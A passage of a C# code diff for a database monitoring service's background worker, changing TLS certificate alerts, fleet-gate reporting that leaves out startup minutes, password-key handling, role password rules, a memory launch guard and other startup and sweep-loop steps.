     /// a null snapshot — nothing served, or <c>Clear()</c>ed when the dashboard stopped — becomes
     /// <c>Configured=false</c> (the evaluator's resolve arm), and a live snapshot carries its validity window,
-    /// identity and the host's not-yet-valid verdict (#3517) through unchanged — the verdict is the host's to
-    /// make and this mapping must not re-derive or drop it. Pure + static so the null-to-unconfigured seam
+    /// identity and the host's not-yet-valid verdict (#3517) and load-refusal verdict (#5288) through unchanged —
+    /// the verdict is the host's to make and this mapping must not re-derive or drop it. Pure + static so the null-to-unconfigured seam
     /// pins in a unit test rather than only through the sweep loop — the <see cref="BuildStoreUpgradeReport"/>
     /// precedent, and the seam the #3514 review flagged as previously tested only from the sides.
     /// </summary>
     internal static DarlingSelfAlertEvaluator.WebTlsCertReport BuildWebTlsCertReport(
-        WebTlsCertificateState.Snapshot? snapshot)
+        ListenerTlsCertificateState.Snapshot? snapshot)
         => new(
             Configured: snapshot is not null,
             NotBeforeUtc: snapshot?.NotBeforeUtc ?? default,
             NotAfterUtc: snapshot?.NotAfterUtc ?? default,
             Subject: snapshot?.Subject ?? string.Empty,
             Thumbprint: snapshot?.Thumbprint ?? string.Empty,
-            RefusedNotYetValid: snapshot?.RefusedNotYetValid ?? false);
+            RefusedNotYetValid: snapshot?.RefusedNotYetValid ?? false,
+            LoadRefusal: snapshot?.LoadRefusal);
 
     /// <summary>
     /// Maps the fleet gate's last-hour counts to the report the "Collection Falling Behind" arm consumes (#4732).
     /// Pure and static, the <see cref="BuildWebTlsCertReport"/> precedent, so the mapping pins in a unit test.
     /// </summary>
     internal static DarlingSelfAlertEvaluator.FleetGateReport BuildFleetGateReport(
-        FleetGateSnapshot snapshot, int gateWidth, DateTime nowUtc)
+        FleetGateSnapshot snapshot, int gateWidth, DateTime nowUtc, int judgedMinutes = FleetGateStats.WindowMinutes)
         => new(
             Run: snapshot.Run,
             Skipped: snapshot.Skipped,
@@ -2008,7 +2419,29 @@ internal static DarlingSelfAlertEvaluator.FleetGateReport BuildFleetGateReport(
             QueueWaitTotal: snapshot.QueueWaitTotal,
             QueueWaitMax: snapshot.QueueWaitMax,
             GateWidth: gateWidth,
-            WindowEndUtc: nowUtc);
+            WindowEndUtc: nowUtc,
+            JudgedMinutes: judgedMinutes);
+
+    /// <summary>#5597: whether the hourly line is a Warning ("Collection is falling behind"): the alert is standing, or the window the
+    /// alert judges meets its fire threshold. The alert's own judgment (<see cref="DarlingSelfAlertEvaluator.FleetGateReport.IsBehind"/>
+    /// leaves out the minutes right after a start), never the raw counts of the full hour the line prints.</summary>
+    internal static bool FleetGateLogIsBehind(bool alertStanding, DarlingSelfAlertEvaluator.FleetGateReport report) =>
+        alertStanding || report.IsBehind;
+
+    /// <summary>
+    /// #5597: reads the fleet gate twice: the full last hour (what the hourly log line reports, truthfully), and the counts the
+    /// "Collection Falling Behind" alert judges, which leave out the slots recorded in the first
+    /// <see cref="DarlingSelfAlertEvaluator.FleetGateStartupMinutes"/> minutes after the service started (<paramref name="uptime"/>,
+    /// <see cref="SkipCreditFloor.Uptime"/>; a start, never a stall, a pause or a launch-guard release). The one place that decides,
+    /// so the alert and the Warning level of the line cannot disagree.
+    /// </summary>
+    internal static (FleetGateSnapshot Full, DarlingSelfAlertEvaluator.FleetGateReport Report) ReadFleetGate(
+        FleetGateStats stats, TimeSpan? uptime, int gateWidth, DateTime nowUtc)
+    {
+        var full = stats.Snapshot();
+        var judgedMinutes = DarlingSelfAlertEvaluator.FleetGateJudgedMinutes(uptime);
+        return (full, BuildFleetGateReport(stats.SnapshotJudged(), gateWidth, nowUtc, judgedMinutes));
+    }
 
     /// <summary>
     /// #4732: reads the fleet gate's last-hour counts, hands them to the "Collection Falling Behind" self-alert, and
@@ -2025,19 +2458,18 @@ private async Task CheckFleetGateAsync(CancellationToken cancellationToken)
         }
 
         var now = DateTime.UtcNow;
-        var snapshot = _fleetGateStats.Snapshot();
-        var report = BuildFleetGateReport(snapshot, EffectiveSweepWidth, now);
+        var (snapshot, report) = ReadFleetGate(_fleetGateStats, _skipCreditFloor.Uptime, EffectiveSweepWidth, now);
 
         var standing = _selfAlerts is not null
             && await _selfAlerts.EvaluateFleetGateAsync(report, cancellationToken);
-        var behind = standing || report.IsBehind;
+        var behind = FleetGateLogIsBehind(standing, report);
 
         if (!_fleetGateLog.ShouldLog(behind, now))
         {
             return;
         }
 
-        var line = FleetGateLine.Describe(snapshot, report.GateWidth);
+        var line = FleetGateLine.Describe(snapshot, report.GateWidth, FleetGateLine.SpanMinutes(_skipCreditFloor.Uptime));
         if (behind)
         {
             _logger.LogWarning("Collection is falling behind: {Line}", line);
@@ -2146,6 +2578,7 @@ and independent of the pool's connection-open timing relative to PgMigrations'
            result rather than the two being one call), so the census below only has to look for the
            pin on the Create line itself — no reassignment in between for a future edit to slip
            an unpinned read behind. */
+        DarlingSelfAlertEvaluator.CollectionGapReport? collectionGapReport = null;
         await using var postgres = NpgsqlDataSource.Create(
             DarlingStoreConnection.PinSessionTimeZoneUtc(
                 DarlingStoreConnection.WithApplicationName(
@@ -2196,6 +2629,15 @@ carry Search Path regardless. */
                 var applied = await PgMigrations.MigrateAsync(migrateConnection, _logger, stoppingToken);
                 _logger.LogInformation("Postgres store ready (schema v{Version}, {Applied} migration(s) applied)",
                     StorageVersion.SchemaVersion, applied);
+                /* #4961: this install's id, made (or read back) now that the schema is current and before any worker
+                   starts. Inside this try, on the same connection, so a failure to make it is retried and triaged exactly
+                   like a failed migration. The CLI and the Viewer only read the row. */
+                _installId = await StoreInstallId.EnsureAsync(migrateConnection, _logger, stoppingToken);
+                _logger.LogInformation("Install id {InstallId}", _installId);
+                /* #5450: the newest collection time already in the store, read NOW — the schema is current and no
+                   collector has written yet — so the gap the service was down for can be raised once the alert
+                   engine exists. Best effort: a failed read loses one alert and must not fail or retry the start. */
+                collectionGapReport = await ReadCollectionGapAsync(migrateConnection, stoppingToken);
                 break;
             }
             catch (Exception ex) when (ex is not OperationCanceledException
@@ -2276,6 +2718,9 @@ message an operator greps for. */
            reason about. Drained with the other background startup work below. */
         var settingScrub = RunPgSettingScrubAsync(postgres, stoppingToken);
 
+        /* #5097: the slow-read writer, drained at shutdown. Failure-isolated inside; it never ends before shutdown. */
+        var slowReadWriter = _slowReads is null ? Task.CompletedTask : _slowReads.RunAsync(postgres, _logger, stoppingToken);
+
         /* #4348: the one-time scrub of collected statement text (collect.pg_statement_text,
            collect.pg_blocking_edges) an older build stored before the shared sensitive-statement filter
            existed. Same launch discipline as the setting scrub immediately above — after migrations
@@ -2294,12 +2739,30 @@ startup work below. */
            its own connection, its own catch, drained with the other background startup work below. */
         var planForceDetailScrub = RunPlanForceActionDetailScrubAsync(postgres, stoppingToken);
 
-        /* #4605: the BRIN index on collect.query_store_interval_wide (collection_time), built CONCURRENTLY in the
-           background QueryStoreIntervalWideBrinIndex.StartDelay after start so the full-heap read stays off the
-           post-restart IO burst. Launched after migrations confirm the table exists, never awaited on the startup
-           path, one attempt per start, and RunDelayedAsync never throws. Drained with the other background work. */
-        var intervalWideBrin = QueryStoreIntervalWideBrinIndex.RunDelayedAsync(
-            postgres, _logger, QueryStoreIntervalWideBrinIndex.StartDelay, stoppingToken);
+        /* #4605, #4952, #5507: the Query Store read indexes - the BRIN on collect.query_store_interval_wide
+           (collection_time) and the btrees on (server_id, first_execution_time) of collect.query_store_interval_wide
+           and collect.query_store_interval_latest - built in the background
+           QueryStoreBackgroundIndexes.StartDelay after start so their heap reads stay off the post-restart IO burst,
+           one after another, each failure-isolated. Launched after migrations confirm the tables exist, never awaited
+           on the startup path, one attempt per start, and RunDelayedAsync never throws. Drained with the other
+           background work.
+           #5571: the same task first runs Phase A of the day partitions (arm, validate, promote, then ANALYZE) for each
+           of the two interval tables, then these index ensures, because the VALIDATE and a CREATE INDEX CONCURRENTLY on
+           the legacy table conflict. It then LOOPS every hour until shutdown, so a VALIDATE that lost a lock or a promote
+           that did not get one is tried again without a restart, and it runs the once-a-day ANALYZE of each promoted
+           parent off the sweep loop. It never blocks collectors or startup. Phase B (create ahead, drop expired, and the
+           cheap parts of Phase A for a table that is not promoted) is the "query store interval partitions" convergence
+           step, which runs before the collectors and every hour. */
+        var queryStoreIndexes = QueryStoreIntervalPartitions.RunDelayedAsync(
+            postgres, _logger, QueryStoreBackgroundIndexes.StartDelay, QueryStoreBackgroundIndexes.All, stoppingToken);
+
+        /* #4957: one rollup-coverage probe in the background RollupCoverageWarmup.ServiceStartDelay after start, so
+           the first MCP or web call finds each rollup's floor already measured and does not wait ~10 s on the
+           large stores for the oldest compressed chunk's min(bucket). Launched after migrations, never awaited on
+           the startup path, and RunDelayedAsync never throws: a failed warm logs once at Debug and changes
+           nothing else. Drained with the other background work. */
+        var rollupCoverageWarm = RollupCoverageWarmup.RunDelayedAsync(
+            postgres, _logger, RollupCoverageWarmup.ServiceStartDelay, stoppingToken);
 
         /* #4214 ruling 9: the once-per-start store host/settings profile log — host facts, pg_settings and
            the managed conf files only, never the store-size/chunk-total reads --check-settings and the MCP
@@ -2334,6 +2797,10 @@ slow store here must never fail or delay the collection start immediately below
                 _logger.LogError(
                     "Least-privilege role provisioning failed — the Viewer's admin/viewer roles may be stale " +
                     "until the next successful start: {Message}", ex.Message);
+                /* Provisioning stopped before its own rules section: a store that has never had the password rules
+                   would keep none while the viewer and mcp roles keep their earlier credentials. Best effort; the
+                   call warns for itself and never throws. */
+                await DarlingManagedRoles.EnsureServerPasswordRulesAsync(postgres, _logger, stoppingToken);
             }
         }
         else if (!config.Postgres.Managed && Hosting.DarlingHostBinding.IsRunningInContainer)
@@ -2350,6 +2817,17 @@ there and the web and MCP hosts connect as viewer and mcp. It decides from the s
                 _composeStoreRolesProvisioned = true;
                 _appliedComposeStatementTimeoutSeconds = verdict.AppliedComposeStatementTimeoutSeconds;
             }
+            else
+            {
+                await DarlingManagedRoles.EnsureServerPasswordRulesAsync(postgres, _logger, stoppingToken);
+            }
+        }
+        else if (!config.Postgres.Managed)
+        {
+            /* A self-managed store gets the store's password rules from tools/provision-roles.sql; a store upgraded
+               without re-running it has none. Best-effort on every start as the role that owns the tables, the way the
+               database-default search_path is: one warning naming the script when the login may not create them. */
+            await DarlingManagedRoles.EnsureServerPasswordRulesAsync(postgres, _logger, stoppingToken);
         }
 
         /* Optional TimescaleDB adoption — runtime setup, deliberately NOT a versioned migration
@@ -2537,14 +3015,17 @@ of at the next restart. */
             await RunStoreObjectConvergenceSegmentAsync(
                 tuningConnection, StoreObjectConvergenceStage.Tuning, startupConvergence, stoppingToken);
             // The retained sql_handle->module map (#1568 object_name for OLD query_stats windows the CAGG serves,
-            // after procedure_stats raw drops at 4d): create it, then seed it from recent procedure_stats.
-            /* NOT a convergence-list step (#3817): the refresh is a DATA upsert that already has a periodic
-               home on the daily purge tick, and the table ensure is inseparable from it here because the
-               refresh is gated on the bool it returns. */
-            if (await DarlingModuleMap.EnsureTableAsync(tuningConnection, _logger, stoppingToken))
-            {
-                await DarlingModuleMap.RefreshAsync(tuningConnection, _logger, stoppingToken);
-            }
+            // after procedure_stats raw drops at 4d): create the table here, because readers need it to exist.
+            /* #5578: ONLY the cheap table DDL runs on this path. The refresh that fills the map reads procedure_stats
+               (55.6 s at start on a large store, and a flat two days when there is no watermark) and used to be
+               awaited here, which held every collector back by that much on every restart. No collector reads the
+               map, and the map keeps every name it has, so a map a little behind costs nothing. The refresh runs
+               AFTER the collectors start, from the sweep loop's first pass: the hourly store-maintenance tick
+               (RefreshModuleMapRecentAsync) and the daily purge (RefreshAsync) both fire in that first pass and both
+               are launched fire-and-track, so neither can delay a collector. */
+            /* NOT a convergence-list step (#3817): the table ensure is a cheap idempotent DDL, and the map's data
+               refresh is not a store object at all. */
+            await DarlingModuleMap.EnsureTableAsync(tuningConnection, _logger, stoppingToken);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -2577,6 +3058,18 @@ mutated in place so the alert-settings/capture-plans/analysis seams below all re
            reload baseline, so the seed's own version bumps do not trigger a spurious first-sweep reload. */
         var configProvider = new StoreConfigProvider(postgres, _logger);
         await configProvider.SeedIfEmptyAsync(config, stoppingToken);
+        /* #5366: the service's password key, after migrations, role provisioning and the seed, and before the first config view (#5455:
+           that view reads the legacy pins this start takes, and a view built before them leaves every saved old-format password
+           unpinned for the whole run). It reads only config.Postgres, which the view never changes. Before any collection or reload
+           can need it: loaded (or made and published) here, with the legacy pin snapshot, and the ring every writer and
+           the resolver seal and open through is set. Until this returns the ring refuses with the "still loading" reason.
+           Never throws; a key that cannot be used is a refusing ring with the reason logged and recorded in the store. */
+        _passwordKeyRuntime = await DarlingPasswordKeyRuntime.StartForServiceAsync(
+            config, DarlingConfig.ResolveConfigPath(), postgres, _logger, stoppingToken);
+        /* #5456: a pin step that could not run is tried again on every sweep, and until it does the re-enter line says to wait.
+           Set before the first view so that view's line already knows; the pins it takes bump config_version, which every
+           host's reload beacon picks up. */
+        configProvider.LegacyPinsWaiting = () => _passwordKeyRuntime?.PinsWaiting == true;
         var initialView = await configProvider.LoadViewAsync(config, stoppingToken);
         IReadOnlyList<MonitoredServer> initialServers = config.Servers;
         if (initialView is not null)
@@ -2624,6 +3117,10 @@ rather than hash without it. */
         /* #4004 review, round 3: a key that replaced one the directory check discarded is noted on the collection-log
            row of the first pg_log_events run after this, and only that run (RunOneAsync takes it). */
         _logHashKeyRotation.Arm(DarlingLogHashKeyFile.RotationNote(logHashKeyLoad));
+        /* #5452: which AWS roles this run may assume, set once here and read by the RDS path, the way the password key's
+           ring is. darling.json's allowedAwsRoles plus every role a darling.json server names; config.Servers is the
+           file's list (the store view never replaces it), and the file is read at start, so an edit applies on restart. */
+        Targets.AwsRoleAllowlist.Current = Targets.AwsRoleAllowlist.FromConfig(config);
         var runner = new DarlingCollectorRunner(postgres, deltas, _logger, () => config.CapturePlans, () => config.CollectSchemaChangeEvents,
             () => StoreConfigProvider.ClampTextBudgetMb(config.QueryStoreTextBudgetMb),
             /* #2171: live provider like its siblings — a store reload flipping plan_xml_compression
@@ -2634,13 +3131,32 @@ rather than hash without it. */
                live like its siblings, so setting it to 1 restores every-cycle plan capture and promoting
                it to a store column later needs no change here. */
             procedureStatsPlanCycleInterval: () => StoreConfigProvider.ClampProcedureStatsPlanCycleInterval(config.ProcedureStatsPlanCycleInterval),
+            /* #5158: query_stats fetches plan XML only for plans this host has not committed. A file-only knob:
+               read through a provider each cycle, but darling.json is loaded once, so an edit needs a restart.
+               false restores the inline capture. */
+            queryStatsDeferredPlanFetch: () => config.QueryStatsDeferredPlanFetch,
+            /* #5158: procedure_stats' deferred plan fetch: off, shadow or on. A file-only knob: read through a provider each
+               cycle, but darling.json is loaded once, so an edit needs a restart. The runner treats an unrecognized value
+               as off. */
+            procedureStatsDeferredPlanFetch: () => config.ProcedureStatsDeferredPlanFetch,
             /* #3477: the per-collector database scope, resolved live against the SAME _scheduleOverrides
                the cadence gate reads — one source, so the scope a run collects under and the schedule it
                was dispatched under can never come from two different reloads. */
             databaseScope: (collectorName, serverId) => StoreConfigProvider.ResolveDatabaseScope(collectorName, serverId, _scheduleOverrides),
             logHashKey: logHashKey,
             /* #4659: shared with the alert read adapter (BuildAlertEngine). */
-            queryStoreWriteFence: _queryStoreWriteFence);
+            queryStoreWriteFence: _queryStoreWriteFence,
+            /* The databases monitored as their own servers, from the same live store set the alert sweep uses:
+               the long-query trace leaves them to their own registrations, in its lifecycle and its read. */
+            separatelyMonitoredDatabases: runtime => AzureMasterScope.SeparatelyMonitoredDatabases(
+                runtime.Target.IsAzureSqlDb,
+                runtime.ServerId.ToString(CultureInfo.InvariantCulture),
+                runtime.Config.Host,
+                runtime.Config.Database,
+                LiveAlertTargets(_registryState.Read()?.Servers)),
+            /* #4961: this install's id, made at start before any worker runs. */
+            installId: () => _installId);
+        _runner = runner;
         var servers = new List<ServerLoopState>();
         /* #1581 cold-start stagger: capture ONE startup instant so every initial server's first-sweep offset is
            measured from the same base — the deterministic per-server ColdStartFirstSweepDue then spreads the
@@ -2664,7 +3180,7 @@ shared email/webhook delivery. Constructed once — the engine holds the per-ser
            are hoisted here because the AN3 analysis-notification path below shares them. The mute
            service is hoisted too so a reload can re-LoadAsync() it (closes F16 — the engine holds
            its IsAlertMuted delegate, so refreshing the same instance's cache mutes the next sweep). */
-        var alertSettings = new DarlingAlertSettings(config);
+        var alertSettings = new DarlingAlertSettings(config, _logger);
         var historyStore = new PgAlertHistoryStore(postgres, _logger);
         var webhookAlertService = new WebhookAlertService(
             alertSettings, DarlingAlertDeliverer.Branding,
@@ -2811,6 +3327,9 @@ process delivered an hour ago — and does re-attempt one whose delivery failed.
             await _selfAlerts.EvaluateStoreUpgradeAsync(storeUpgradeReport, stoppingToken);
         }
 
+        /* #5450: the gap before this start, the same once-per-start event. The evaluator holds the 15-minute gate. */
+        await _selfAlerts.EvaluateCollectionGapAtStartAsync(collectionGapReport, stoppingToken);
+
         /* #3908: the store's TimescaleDB extension, the same once-per-start event. */
         if (storeTimescaleReport is not null)
         {
@@ -2881,9 +3400,21 @@ term does not apply and that deployment mode keeps the full raw-tier depth. Pass
            rather than a value so it cannot capture a stale reading. */
         var queryStoreBackfill = new QueryStoreBackfill(postgres, runner, deltas, _logger, () => config.CapturePlans,
             () => StoreConfigProvider.ClampTextBudgetMb(config.QueryStoreTextBudgetMb),
-            () => _timescaleAvailable);
+            () => _timescaleAvailable,
+            /* #5483: the server's effective database_states cadence, resolved live like the alert adapter's, so the
+               gone-database check knows how old a snapshot may be. */
+            serverId => StoreConfigProvider.ResolveSchedule("database_states", serverId, _scheduleOverrides).FrequencyMinutes,
+            /* #5518: the same fence the runner's Query Store writes go through, so the candidate list is read from the
+               store only when a write named a database it does not hold, the cut chunk moved or it aged out. */
+            _queryStoreWriteFence);
+        _queryStoreBackfill = queryStoreBackfill;
         var backfillLoop = RunQueryStoreBackfillLoopAsync(queryStoreBackfill, servers, () => config.QueryStoreBackfillEnabled, stoppingToken);
 
+        /* #5450 proposal 2: the outbound heartbeat, on its own task and connection so a slow or dead URL never touches
+           collection. Returns at once when heartbeat.url is not set (the default). The URL is a secret: see
+           DarlingHeartbeat for what may reach the log. */
+        var heartbeatLoop = new DarlingHeartbeat(_logger).RunAsync(config.Heartbeat, postgres, stoppingToken);
+
         /* The fleet concurrency gate (#1553 D2): at most N=4 per-server collection bodies open a SQL connection
            at once, so one slow or hung server cannot head-of-line-block the fleet the way the old strictly
            sequential foreach did. Deliberately NOT disposed (CA2000 suppressed, not "fixed" back by an analyzer
@@ -2914,6 +3445,10 @@ reconcile computes its delta from reality instead of re-absorbing what was never
             _gateDesiredAbsorb = _gateAbsorbed;
         }
 
+        /* #4999: the daily-run cap comes from this store's pool and the sweep width just set, and says what it is
+           once, here. No daily run can be going yet, so nothing has to give a permit back. */
+        ApplyDailyRunCap(StorePoolMaxSize(postgres), initialSweepWidth);
+
         _logger.LogInformation("PerformanceMonitor Darling collection loop started");
         /* #2953: the one publish that clears the failure phases. Set HERE — the last statement before the
            sweep loop's first iteration — and not re-published per cycle: this seam answers "did collection
@@ -2925,6 +3460,13 @@ reconcile computes its delta from reality instead of re-absorbing what was never
         /* #4732: true from a pass that found collection paused until the first pass that runs it again. */
         var pausedSinceLastRun = false;
 
+        /* #5479: true from a pass that the memory launch guard held off until the first pass that launches bodies again. */
+        var heldSinceLastLaunch = false;
+
+        /* #5595: the retention drain's settle window starts here, where the loop starts collecting, not when the worker
+           was built: the store retries and migrations before this point can take minutes. */
+        _collectionPressure.MarkCollectionStarted();
+
         while (!stoppingToken.IsCancellationRequested)
         {
             /* #4732: tells the skipped-slot count when this loop was not running. First thing in the pass and on the
@@ -2932,6 +3474,14 @@ reconcile computes its delta from reality instead of re-absorbing what was never
                since the previous pass raises the floor before this pass launches any body. */
             _skipCreditFloor.Tick(DateTime.UtcNow);
 
+            /* #5366: the password key check, once per pass: the store still publishes the key this service holds and the key
+               tables still have all their triggers. A change turns the ring to refusing until the start fixes it; the check
+               never throws and costs two small reads. */
+            if (_passwordKeyRuntime is not null)
+            {
+                await _passwordKeyRuntime.SweepCheckAsync(stoppingToken);
+            }
+
             /* Control-plane reload beacon: poll config_version at a SAFE point (top of the sweep, never
                mid-collection). On change, re-read the store and hot-swap the live config: the alert /
                SMTP / webhook / capture / analysis settings (via the by-reference DarlingAlertSettings
@@ -2970,7 +3520,7 @@ landing in the window between the two makes the applied view NEWER than
                    Self-healing rather than lossy, but it is the same class of imprecision as the defect
                    above ("the version recorded as applied must be the version that was applied"), and the
                    startup path at :1179 already does it this way. */
-                var appliedVersion = await ReloadFromStoreAsync(configProvider, config, servers, muteRuleService, stoppingToken);
+                var appliedVersion = await ReloadFromStoreAsync(configProvider, config, servers, muteRuleService, runner, stoppingToken);
                 if (appliedVersion.HasValue)
                 {
                     _lastConfigVersion = appliedVersion.Value;
@@ -2978,7 +3528,13 @@ landing in the window between the two makes the applied view NEWER than
                     /* #2170: the reload swapped the knob into the live config; move the gate to match. Safe
                        here by construction — top of the sweep, and narrowing never preempts a running body.
                        Inside the success branch because a reload that applied nothing changed no knob. */
-                    ReconcileSweepGate(serverSweepGate, StoreConfigProvider.ClampConcurrentSweeps(config.MaxConcurrentSweeps), stoppingToken);
+                    var reloadedSweepWidth = StoreConfigProvider.ClampConcurrentSweeps(config.MaxConcurrentSweeps);
+                    ReconcileSweepGate(serverSweepGate, reloadedSweepWidth, stoppingToken);
+
+                    /* #4999: the daily-run cap is derived from the sweep width, so every reload recomputes it from the
+                       width just applied. A width that moves the cap changes the log once, and one that does not
+                       leaves both alone. */
+                    ApplyDailyRunCap(StorePoolMaxSize(postgres), reloadedSweepWidth);
                 }
             }
 
@@ -3021,6 +3577,15 @@ above so this sweep launches against the freshly reconciled set. */
                 sweepTargets = servers.ToArray();
             }
 
+            /* #5479: the per-server self-alerts (Collection Stopped and its siblings) and the custom-alert rules, evaluated
+               by ONE tracked task per pass over this snapshot, launched without awaiting it and skipped while the previous
+               pass still runs. They live here, after the operator-pause `continue` above (a deliberate pause stays silent,
+               as it always did) and BEFORE the launch loop below, so they run whether or not any collection body launches:
+               a launch guard that holds the bodies off, or a body that never finishes, no longer silences them. Each
+               server keeps its own cadence stamps, which only this pass reads and writes, so no server is evaluated by two
+               threads at once. */
+            TryStartSelfAlertPass(sweepTargets, stoppingToken, StoreConfigProvider.ClampConcurrentSweeps(config.MaxConcurrentSweeps));
+
             /* Fire-and-track launch loop (#1553 D2/D2b): LAUNCH each server's collection body WITHOUT awaiting
                it, so one slow or hung server can no longer stall the fleet or the fleet-level steps below (the
                old foreach awaited every step inline — the 24-server field incident). At most N=4 bodies open a
@@ -3028,33 +3593,23 @@ connection at once (serverSweepGate, acquired inside the body). All tracking / s
                (InFlightSweep, SweepStartedUtc, WarnedThisEpisode) is written ONLY here on the outer sweep thread
                — the body never touches it, so there is no cross-thread tear on these fields. */
 
-            /* Working-set launch guard (#1556): before launching ANY new bodies this tick, check the process
-               working set against the guard threshold. Over the line, launch NOTHING this sweep so the in-flight
-               bodies drain and the process backs away from the commit-limit exhaustion the field incident hit —
-               but the purge / disk-pressure / delay steps below keep running. ONE CRITICAL per episode; a
-               recovery re-arms and logs at Information. */
-            long workingSetBytes;
-            using (var currentProcess = System.Diagnostics.Process.GetCurrentProcess())
+            /* Memory launch guard (#1556, #5479): before launching ANY new bodies this pass, ask the guard. Over the
+               line it launches NOTHING this pass so the in-flight bodies drain, and it runs a decommitting full
+               garbage collection itself (a drained process allocates nothing, so none would run otherwise), then
+               measures again in the same pass and releases when the figure is back under the line. The purge /
+               disk-pressure / delay steps below keep running. The guard logs the trip, each collection, the hold
+               and the release. */
+            var inFlightBodies = 0;
+            foreach (var target in sweepTargets)
             {
-                workingSetBytes = currentProcess.PrivateMemorySize64;
-            }
-            var availableMemoryBytes = GC.GetGCMemoryInfo().TotalAvailableMemoryBytes;
-            var mayLaunchSweeps = ShouldLaunchSweeps(workingSetBytes, availableMemoryBytes);
-            if (!mayLaunchSweeps && !_memoryGuardTrippedThisEpisode)
-            {
-                _memoryGuardTrippedThisEpisode = true;
-                _logger.LogCritical(
-                    "Working set {WorkingSetMb}MB is over {Pct:P0} of {AvailableMb}MB available — PAUSING new collection-body launches this tick so in-flight bodies drain (the #1556 commit-limit backstop). Purge/disk/analysis continue.",
-                    workingSetBytes / (1024 * 1024), MemoryGuardFraction, availableMemoryBytes / (1024 * 1024));
-            }
-            else if (mayLaunchSweeps && _memoryGuardTrippedThisEpisode)
-            {
-                _memoryGuardTrippedThisEpisode = false;
-                _logger.LogInformation(
-                    "Working set recovered to {WorkingSetMb}MB of {AvailableMb}MB — resuming collection-body launches.",
-                    workingSetBytes / (1024 * 1024), availableMemoryBytes / (1024 * 1024));
+                if (target.InFlightSweep is { IsCompleted: false })
+                {
+                    inFlightBodies++;
+                }
             }
 
+            var mayLaunchSweeps = _launchMemoryGuard.MayLaunch(inFlightBodies);
+
             foreach (var server in sweepTargets)
             {
                 /* D3: the per-sweep cancellation check HOISTS here from the old inline body — a bare `break`
@@ -3069,9 +3624,24 @@ it belongs to. */
                    loop, so the decision applies uniformly to every server this sweep). */
                 if (!mayLaunchSweeps)
                 {
+                    /* #5479: a held pass records no slot, so the slots that come due while the guard holds are counted
+                       here, once each within a pass of their due time (a held slot is a skipped slot). Without it the
+                       hour's count read "0 ran, 0 skipped" and Collection Falling Behind cleared an hour into an outage. */
+                    heldSinceLastLaunch = true;
+                    CountHeldSlots(sweepTargets, DateTime.UtcNow);
                     break;
                 }
 
+                /* #5479: the first launch after a hold. The held slots were counted above as they came due, and no due
+                   stamp moved, so the first bodies would step over every one of them again (101,774 of 101,881 in the
+                   field). Raise the floor to now, exactly as the first pass after an operator pause does (#4732). Before
+                   any body launches: this is the first statement the launch loop runs once the guard lets it. */
+                if (heldSinceLastLaunch)
+                {
+                    _skipCreditFloor.Resume(DateTime.UtcNow);
+                    heldSinceLastLaunch = false;
+                }
+
                 /* #1581 cold-start stagger: hold this server's FIRST sweep body (InFlightSweep still null) until
                    its deterministic per-server offset elapses, so a service restart does not launch all N
                    servers' initial catch-up bodies in ONE tick — the field herd where 24 servers stamped
@@ -3185,6 +3755,14 @@ free permit the body may stamp RunStartedTicks (or, on its way into a connect at
                     server, engine, runner, planFetcher, notificationService, config, serverSweepGate, stoppingToken);
             }
 
+            /* #4999: the hang watchdog above reads only the per-server bodies, and a daily run no longer runs in
+               one: it is detached and can go for hours, so a stuck one showed up only as stale data. The same goes
+               for the three runs detached by name (query_store, plan_correction, pg_wait_sampling). Same tick, the
+               same kind of Warning, one per run, naming the server and collector; the threshold is its own, 15
+               minutes (DailyRunWatchdogSeconds), where the bodies' is 60 seconds. After the launch loop and outside
+               it, because a detached run belongs to no single body and the loop may leave early. */
+            WatchDailyRuns(DateTime.UtcNow);
+
             /* #4130: fire-and-track, exactly like the per-server sweeps just above and the oversized-plan
                backlog just below — see TryStartScheduledPurge's doc for why the inline await was the
                defect. */
@@ -3314,12 +3892,22 @@ on its own slow cadence and the evaluator warns 30 days out / Critical once laps
                loopback-only from the start, and the host does not re-decide when the date passes). A null
                snapshot means no LAN TLS certificate to watch. Fleet-level, and the Evaluate* wrapper is
                failure-isolated so a throw never stops the fleet loop. */
+            /* #5288: the MCP endpoint's certificate rides the same hourly gate (one stamp, no new field): the
+               MCP host publishes its served expiry to McpTlsCertificateState exactly as the web host does, and
+               the evaluator keeps the two alerts apart by key and metric, so the call sits right beside the web
+               one. Each Evaluate* wrapper is failure-isolated on its own, so a throw in the web half cannot
+               skip the MCP half. */
             /* #4732: the stamp below is written as now + s_webTlsCheckInterval, so that is the span. */
             if (_selfAlerts is not null && StampIsDue(_nextWebTlsCheckUtc, s_webTlsCheckInterval, DateTime.UtcNow))
             {
                 _nextWebTlsCheckUtc = DateTime.UtcNow.Add(s_webTlsCheckInterval);
                 await _selfAlerts.EvaluateWebTlsCertificateAsync(
                     BuildWebTlsCertReport(_webTlsCertState.Read()), stoppingToken);
+                if (_mcpTlsCertState is not null)
+                {
+                    await _selfAlerts.EvaluateMcpTlsCertificateAsync(
+                        BuildWebTlsCertReport(_mcpTlsCertState.Read()), stoppingToken);
+                }
             }
 
             /* #4732: the fleet gate's last-hour counts, once a minute: the "Collection Falling Behind" self-alert
@@ -3369,91 +3957,7 @@ half the grid step from every policy's start in both directions. The read itself
             if (StampIsDue(_nextCompressionCheckUtc, CompressionCheckSpan, DateTime.UtcNow))
             {
                 _nextCompressionCheckUtc = TimescaleSupport.NextCompressionCheckUtc(DateTime.UtcNow, s_compressionCheckInterval);
-
-                /* #3815: the availability re-probe, and the one tenant of this tick that runs OUTSIDE the
-                   _timescaleAvailable gate below — because it is the tenant that CORRECTS that flag. Behind
-                   the gate it would be unreachable in exactly the state it exists for: a latch reading false
-                   cannot be re-opened from inside the block the latch closes. That is why this tick's guard
-                   is the due time alone and the flag moved down one level, and why the stamp is taken above
-                   the probe rather than behind the flag — on a store whose latch reads false the due time
-                   has to advance anyway, or the probe would fire on every 15-second sweep pass instead of
-                   hourly.
-
-                   The cost on a store that is genuinely plain PostgreSQL, a fully supported configuration
-                   that must not be punished for it: one CREATE EXTENSION IF NOT EXISTS that fails, once an
-                   hour, on a pooled connection, saying nothing above Debug. The only other thing this tick
-                   runs for such a store is the store-object convergence pass's non-TimescaleDB steps (#3913,
-                   the else branch below). */
-                if (!_timescaleAvailable)
-                {
-                    await ReprobeTimescaleAvailabilityAsync(stoppingToken);
-                }
-
-                if (_timescaleAvailable)
-                {
-                    await EvaluateCompressionJobHealthAsync(stoppingToken);
-
-                    /* #3812: the retention coverage gate, re-judged on the RUNNING service. Until this line
-                       the only thing that armed a held retention policy was the start-path ensure above, so
